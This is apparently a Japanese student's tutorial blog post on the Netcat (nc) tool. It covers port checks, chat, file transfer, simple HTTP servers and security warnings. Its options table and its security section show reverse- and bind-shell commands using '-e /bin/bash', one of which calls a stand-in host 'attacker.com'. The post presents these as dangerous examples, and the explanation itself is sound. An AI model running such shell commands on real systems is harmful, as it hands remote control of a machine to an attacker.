現在、大学院の授業で演習を受けているのですが、そこでnc
コマンドでサーバーにアクセスするとリモートのプログラムを実行できることを知りました。
使えそうなのでまとめておきます。
Netcatって何?🤔
Netcat(略してnc
なので、以下nc
と表記します)は、Linux/Unixでよく使われる便利なネットワークツールです。私は最近まで全く知りませんでした🥲「ネットワークのスイスアーミーナイフ」って呼ばれるほど、いろんなことができちゃいます。
簡単に言うと、コマンドラインからネットワーク越しにデータを送受信できるツールです。TCPやUDPの通信が手軽にできるため、ファイル転送やポートチェックまで幅広く活用できます。
この仕組みを使えば、以下のような場面で便利に使えそうです。
- ハッカソンなどでの素早いファイル共有(USBメモリなしでファイル転送)
- 開発中のAPI動作確認(サーバーとの通信テスト)
- ネットワーク疎通テスト(ポートが開いているかチェック)
- 簡易的なサーバー構築(プロトタイプ作成時)
⚠️ 最初に重要な注意点
Netcatは便利ですが、使い方によっては非常に危険です:
- 暗号化されない → 送受信するデータは全て平文
- プログラム実行機能は超危険 → 悪用されるとシステムを完全に乗っ取られる可能性
- 信頼できるネットワークでのみ使用 → 開発・テスト環境での使用を推奨
- 本記事は学習目的 → 本番環境での使用は十分に検討してから
セキュリティについては、また後で書こうと思います。
環境の準備
nc
がインストールされているか確認
多くのLinuxディストリビューションでは標準でインストールされていますが、念のため確認してみます。
# インストール状況を確認 $ which nc # または $ nc -h
エラーが出る場合の対処法
$ sudo apt update && sudo apt install netcat
Windows環境での使用
Windowsでは以下の方法が使用できます。
- WSL(Windows Subsystem for Linux)を使用(推奨)
- netcatのWindows版をダウンロード
- PowerShellのTest-NetConnectionを代替として使用
今回はWindowsのWSLで使用して実験を行っています。
基本的な使い方
nc
にはクライアントモード(接続する側)とサーバーモード(接続を受ける側)の2つがあります。
クライアントモード(接続する側)
どこかのサーバーに接続したい時
$ nc [ホスト名] [ポート番号] # 例:Google の80番ポートに接続 $ nc -v -w 5 google.com 80
よくあるエラーと対処法
# 接続に失敗した場合の例 $ nc -zv example.com 80
サーバーモード(接続を受ける側)
自分のマシンで接続を待ち受けたい時は-l
オプションを使います。
$ nc -l -p [ポート番号] # 例:1234番ポートで接続を待つ $ nc -l -p 1234
ncコマンドの主なオプション
サーバーモード専用オプション
オプション | 説明 | 使用例 |
---|---|---|
-l |
サーバーモード(接続を受ける) | nc -l -p 1234 |
-k |
接続が切れても待ち受け続ける | nc -lk -p 1234 |
クライアントモード専用オプション
オプション | 説明 | 使用例 |
---|---|---|
-z |
ポートスキャン(接続テストのみ) | nc -zv google.com 80 |
両モード共通オプション
オプション | 説明 | 使用例 |
---|---|---|
-p <port> |
ポート番号を指定 | サーバー: nc -l -p 8080 クライアント: nc -p 12345 example.com 80 |
-u |
UDPを使用(デフォルトはTCP) | サーバー: nc -lu -p 53 クライアント: nc -u 192.168.1.1 53 |
-v |
詳細表示(何が起きてるか見える) | サーバー: nc -lv -p 1234 クライアント: nc -v google.com 80 |
-vv |
より詳細な表示 | サーバー: nc -lvv -p 1234 クライアント: nc -vv google.com 80 |
-w <秒> |
タイムアウトを設定 | サーバー: nc -lw 10 -p 1234 クライアント: nc -w 3 192.168.1.1 22 |
-n |
DNS名前解決をスキップ(高速化) | サーバー: nc -ln -p 1234 クライアント: nc -n 192.168.1.1 80 |
-6 |
IPv6を強制使用 | サーバー: nc -l6 -p 1234 クライアント: nc -6 ::1 80 |
-4 |
IPv4を強制使用 | サーバー: nc -l4 -p 1234 クライアント: nc -4 127.0.0.1 80 |
-c <cmd> |
接続後にコマンド実行(一部実装) | サーバー: nc -l -p 1234 -c 'uptime' クライアント: nc -c 'date' example.com 80 |
-e <cmd> |
危険 プログラム実行 | サーバー: nc -l -p 4444 -e /bin/bash クライアント: nc -e /bin/bash attacker.com 4444 |
よくある使い方
1. ポート疎通確認
# Webサーバー(80番ポート)が動いているかチェック $ nc -zv example.com 80 # 複数ポートを一気にチェック $ nc -zv 192.168.1.1 20-30 # UDPポートをチェック(DNSサーバーなど) $ nc -uzv 8.8.8.8 53 # タイムアウト付きでテスト $ nc -zv -w 3 google.com 443
用語解説
2. 簡単なチャットツール
# 受信側(サーバー) $ nc -l -p 5555 # 送信側(クライアント) $ nc 192.168.1.100 5555
これで2台のPC間でリアルタイムチャットができます。
⚠️注意暗号化されていないため、重要な情報は送らないでください。
3. ファイル転送
基本的なファイル転送
# 受信側(ファイルを受け取る側) $ nc -l -p 1234 > 受信ファイル.zip # 送信側(ファイルを送る側) $ nc 192.168.1.100 1234 < 送信ファイル.zip
進捗表示付きファイル転送
pv
コマンド(進捗表示ツール)と組み合わせて:
# 受信側 $ nc -l -p 1234 | pv > 受信ファイル.iso # 送信側 $ pv 大きな送信ファイル.iso | nc 192.168.1.100 1234
複数ファイルの一括転送
# 受信側:受信しながら解凍 $ nc -l -p 1234 | tar -xzf - # 送信側:複数ファイルをtar形式で圧縮転送 $ tar -czf - /home/user/documents/ | nc 192.168.1.100 1234
転送が終わると自動で接続が切れます。めっちゃ便利😍
4. HTTPクライアントとして使用
# HTTPリクエストを手動で送信 $ printf "GET / HTTP/1.1\r\nHost: example.com\r\n\r\n" | nc example.com 80
ブラウザを使わずに、サーバーの生の応答を確認できます。
5. 簡易Webサーバーの作成
# index.htmlを配信する簡単なWebサーバー $ while true; do { echo -e "HTTP/1.1 200 OK\r\n"; cat index.html; } | nc -l -p 8080; done
# 継続的に動作するサーバー $ while true; do { echo -e "HTTP/1.1 200 OK\r\n" echo -e "Content-Type: text/html\r\n\r\n" echo "<h1>現在時刻: $(date)</h1>" } | nc -l -p 8080 -q 1 done
6. 安全なコマンド実行例
パイプを使った一方向実行(比較的安全)
サーバー側(コマンド実行して結果を返す)
# システム情報を返す $ { echo "=== システム情報 ===" uname -a echo "=== ディスク使用量 ===" df -h echo "=== 現在時刻 ===" date } | nc -l -p 1234 # エラー出力も含めて送信 $ ls /存在しないディレクトリ 2>&1 | nc -l -p 1234
クライアント側
$ nc 192.168.1.100 1234
対話的なコマンド実行
名前付きパイプ(FIFO)を使って、クライアントからコマンドを送信し、サーバーで実行結果を返す仕組み:
サーバー側
# リアルタイムでログを配信 $ tail -f /var/log/messages | nc -l -p 1234
クライアント側
# ログをリアルタイム受信 $ nc 192.168.1.100 1234
🚫⚠️セキュリティの重要な注意点
⚠️1. 暗号化の問題
nc
で送信されるデータは全て平文です:
# このパスワードは盗聴可能 $ echo "password123" | nc example.com 1234
対策:重要なデータでは使用しない
🚫2. 極めて危険な-e
オプション
# 絶対に実行してはいけない例 $ nc -l -p 4444 -e /bin/bash # 攻撃者がこれを実行すると... $ nc 被害者のIP 4444 # → 被害者のシステムを完全に制御可能
危険な操作が可能になります
- システムファイルの削除(
rm -rf /
) - 個人情報の窃取
- マルウェアのインストール
- 他のシステムへの攻撃の踏み台
Netcat(nc)のまとめ
- ネットワークの動作チェックに便利
- 簡単なファイル転送ができる
- ポートスキャンやサービス確認に使える
- プロトタイプ作成時の簡易サーバーとして最適
⚠️🚫使用時の重要な注意点⚠️🚫
- セキュリティリスクを理解して使用する
- 暗号化されないことを常に意識する
-e
オプションや無制限なコマンド実行は絶対に避ける- 本番環境での使用は控える
- 信頼できるネットワーク環境でのみ使用する
おわりに
nc
は覚えておくと、便利な反面、設定によってはかなり危険な場面もあります。
とはいえ、ネットワークのトラブルシューティングや開発時のテスト、簡単な自動化作業に使用できそうですね😊